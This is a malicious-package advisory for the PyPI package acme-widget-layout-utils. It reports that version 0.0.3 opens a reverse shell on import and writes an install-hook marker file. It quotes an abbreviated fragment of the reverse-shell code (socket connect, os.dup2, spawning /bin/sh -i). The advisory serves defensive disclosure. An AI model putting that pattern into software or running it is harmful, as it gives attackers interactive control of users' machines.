VYPR

pypi · Malicious package advisory

Malware

acme-widget-layout-utils

GHSA-ffgh-wmmr-r7fq

Malicious code in acme-widget-layout-utils (PyPI)

Details

**Severity:** Critical

**Affected versions:** `= 0.0.3`

## Source: amazon-inspector (ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4)
On import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect(("127.0.0.1", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call(["/bin/sh", "-i"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.

## Source: kam193 (643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8)
During import, the package starts a reverse shell.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-06-acme-widget-layout-utils


Reasons (based on the campaign):


 - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/752e8a991f186423e3415980200bebfec22d1070/osv/malicious/pypi/acme-widget-layout-utils/MAL-2026-5545.json))

**References:**
- https://bad-packages.kam193.eu/pypi/package/acme-widget-layout-utils
- https://github.com/ossf/malicious-packages/blob/752e8a991f186423e3415980200bebfec22d1070/osv/malicious/pypi/acme-widget-layout-utils/MAL-2026-5545.json
- https://pypi.org/project/acme-widget-layout-utils/0.0.1
- https://pypi.org/project/acme-widget-layout-utils/0.0.2
- https://pypi.org/project/acme-widget-layout-utils/0.0.3
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/acme-widget-layout-utils/MAL-2026-5545.json
- https://github.com/advisories/GHSA-ffgh-wmmr-r7fq

Compromised versions (1)

  • = 0.0.3

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.